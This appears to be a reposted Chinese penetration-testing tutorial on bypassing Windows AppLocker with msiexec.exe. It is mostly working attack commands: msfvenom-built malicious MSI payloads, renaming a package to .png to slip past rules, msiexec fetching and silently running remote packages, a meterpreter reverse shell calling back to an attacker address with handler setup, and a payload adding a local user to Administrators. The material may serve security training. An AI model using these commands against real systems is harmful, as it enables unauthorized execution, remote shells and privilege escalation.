zoukankan      html  css  js  c++  java
  • 使用msiexec.exe绕过应用程序白名单

    在上一篇文章中,我们讨论了“ Windows Applocker策略-入门指南 ”,因为它们定义了应用程序控制策略的AppLocker规则以及如何使用它们。但是今天您将学习如何绕过Applocker策略。在本文中,我们使用Windows applocker Policy阻止了“ cmd.exe”文件,并尝试绕过此限制以获取命令提示符。

    表中的内容

    适用于Applocker的关联文件格式

    挑战1:–使用.msi文件绕过Applocker以获取CMD

    有关MSI文件的更多信息

    多种获取CMD的方法

    • 使用Msfvenom -1st方法生成恶意的.msi文件
    • 使用Msfvenom -2nd方法生成恶意的.msi文件
    • 使用Msfvenom -3rd方法生成恶意的.msi文件

    挑战2:–使本地用户成为管理组成员

    • 使用Msfvenom -4th方法生成恶意.msi文件
    适用于Applocker的关联文件格式

    Windows applocker是一种安全策略,已在家庭Windows 7和Windows Server 2008 r2中引入,它是一种限制不必要程序使用的方法。管理员可以以此方式限制以下程序的执行:

    这完全取决于系统管理员他要为程序限制或执行设置applocker策略的程序或脚本。可能存在命令提示符(cmd.exe),Powershelldll文件批处理文件rundll32.exeregsrv.32regasm等被阻止的情况。

    挑战1:–使用.msi文件绕过Applocker以获取CMD

    假设您处于类似的情况,所有上述应用程序都被阻止,并且仅允许Windows Installer文件(即  .msi扩展名)运行而没有任何限制。

    那么,您将如何使用MSI文件绕过这些限制并获得完整的特权Shell?

    有关MSI文件的更多信息

    微星的名字来自于程序中,原题Microsoft安装程序。从那时起,名称已更改为Windows Installer。MSI文件扩展名文件是Windows软件包安装程序。安装软件包包含Windows Installer安装或卸载应用程序所需的所有信息。每个安装软件包都包含一个.msi文件,该文件包含一个安装数据库,一个摘要信息流以及用于安装不同部分的数据流。

    Windows Installer技术分为两个部分,两者可以结合使用。其中包括客户端安装程序服务(Msiexec.exe)和Microsoft软件安装(MSI)软件包文件。Windows Installer使用程序包文件中包含的信息来安装程序。

    Msiexec.exe程序是Windows Installer的组件。当安装程序调用它时,Msiexec.exe使用Msi.dll读取程序包(.msi)文件,应用任何转换(.mst)文件以及合并安装程序提供的命令行选项。安装程序将执行所有与安装相关的任务,包括将文件复制到硬盘,进行注册表修改,在桌面上创建快捷方式以及显示对话框,以在必要时提示用户安装首选项。

    在计算机上安装Windows Installer时,它将更改.msi文件的注册文件类型,因此,如果双击.msi文件,则Msiexec.exe将与该文件一起运行。

    每个MSI软件包文件都包含一个关系类型的数据库,该数据库存储在许多安装方案中安装(和删除)程序所需的指令和数据。

    多种获取CMD的方法
    使用Msfvenom -1 st方法生成恶意.msi文件

    现在,让我们在Kali机器中打开一个新终端,并生成恶意的MSI程序包文件cmd.msi,以利用Windows / exec负载通过它获取命令提示符,如下所示:

    msfvenom -p windows/exec CMD=cmd.exe -f msi > cmd.msi

    python -m SimpleHTTPServer 80

    现在,在Windows计算机中传输cmd.msi文件,以管理员身份获取命令提示符Shell。在这里,我们使用Python HTTP服务器在网络中共享文件。

    将.msi文件下载到本地计算机上(Windows cmd.exe被admin阻止的Windows操作系统)后,可以使用以下语法在运行提示符下使用msiexec.exe运行msi文件。

    语法: msiexec / quiet / i

    msiexec /quiet /i C:Users ajDesktopcmd.msi

    在运行提示中单击上述命令后,将立即获得命令提示符。

    使用Msfvenom -2 nd   方法生成恶意.msi文件

    注意:即使您在另一个扩展名中重命名cmd.msi文件,它也会绕过规则。

    重复以上操作,生成一个与msfvenom具有相同有效负载且名为cmd.png的MSI文件。由于我的卡里语中已经有一个cmd.msi文件,因此我将其重命名为cmd.png并使用python服务器进行传输。

    将cmd.png文件(实际上是.msi文件)下载到本地计算机上(Windows cmd.exe被管理员阻止的Windows操作系统)后,可以使用以下语法通过msiexec运行.msi文件。 exe在运行提示中。

    语法: msiexec / q / i

    msiexec /q /i http://192.168.1.107/cmd.png

    在运行提示中单击上述命令后,将立即获得命令提示符。

    使用Msfvenom -3 rd   方法生成恶意.msi文件

    在上述方法中,我们通过利用Windows / exec有效负载获得命令提示符,但是现在我们将使用windows / meterpreter / reverse_tcp有效负载通过meterpreter会话获取完整特权命令外壳。

    msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 –f msi > shell.msi

    现在,再次在Windows计算机中传输shell.msi文件,以管理员身份获取命令提示符Shell并启动multi / handler。在这里,我们使用Python HTTP服务器在网络中共享文件。

    在本地计算机上下载shell.msi文件(Windows操作系统,其中cmd.exe被admin阻止)后,可以使用以下语法在运行提示符下使用msiexec.exe运行.msi文件。

    语法: msiexec / q / i

    msiexec /q /i http://192.168.1.107/shell.msi

    一旦您在运行提示符下单击上述命令,您将使用此漏洞通过meterpreter会话获取命令提示符。

    msf > use exploit/multi/handler

    msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

    msf exploit(handler) > set lhost 192.168.1.107

    msf exploit(handler) > set lport 1234

    msf exploit(handler) > exploit

    meterpreter > shell

    挑战2:–使本地用户成为管理员组的成员

    假设您处于类似的情况,上述所有应用程序均被阻止,并且仅Windows Installer文件(即  .msi扩展名)被允许不受任何限制地运行。

    然后,您将如何使用MSI文件绕过这些限制,以使Administrators Group的本地用户成为cmd.exe被阻止的成员?

    注意:这里aaru是本地用户帐户,它不是非管理用户帐户,如下所示:

    我们知道,由于有applocker执行规则策略,cmd.exe在本地计算机上被阻止,因此我们无法使用命令提示符在管理员组中添加aaru。

    使用Msfvenom -4th方法生成恶意.msi文件

    使用windows / exec有效负载生成一个MSI软件包,作为admin.msi,该软件包发送一条命令,向目标计算机添加命令,以向用户“ aaru”添加本地admin特权。

    msfvenom -p windows/exec CMD='net localgroup administrators aaru /add' -f msi > admin.msi

    现在,在Windows计算机中传输admin.msi文件,以将aaru添加到管理员组中。在这里,我们使用Python HTTP服务器在网络中共享文件。

    将admin.msi文件下载到本地计算机(Windows操作系统,其中cmd.exe被admin阻止)后,可以使用以下语法在运行提示符下使用msiexec.exe运行admin.msi文件。

    语法: msiexec / q / i

    msiexec /q /i http://192.168.1.107/admin.msi

    一旦在运行提示符下单击上述命令,就可以确保aaru用户已成为管理员帐户的一部分。

    希望您已经清楚地知道,如何使用.msi文件来破坏由cmd.exe和其他应用程序被管理员阻止的操作系统。

  • 相关阅读:
    【随笔浅谈】splay 时间复杂度简要分析
    【Luogu P4406】「CQOI2005」三角形面积并
    LLVM12.0.1,编译
    electrion 为了便于调试,打开控制台
    MySQL插入大量数据探讨
    【Django前后端部署】更新部署,不使用反向代理
    检测两台服务器某个目录下的文件一致性
    ceph-rbd和cephfs使用
    Laravel
    Scrcpy投屏神器--让你的电脑流畅操作手机
  • 原文地址:https://www.cnblogs.com/sup3rman/p/13743662.html
Copyright © 2011-2022 走看看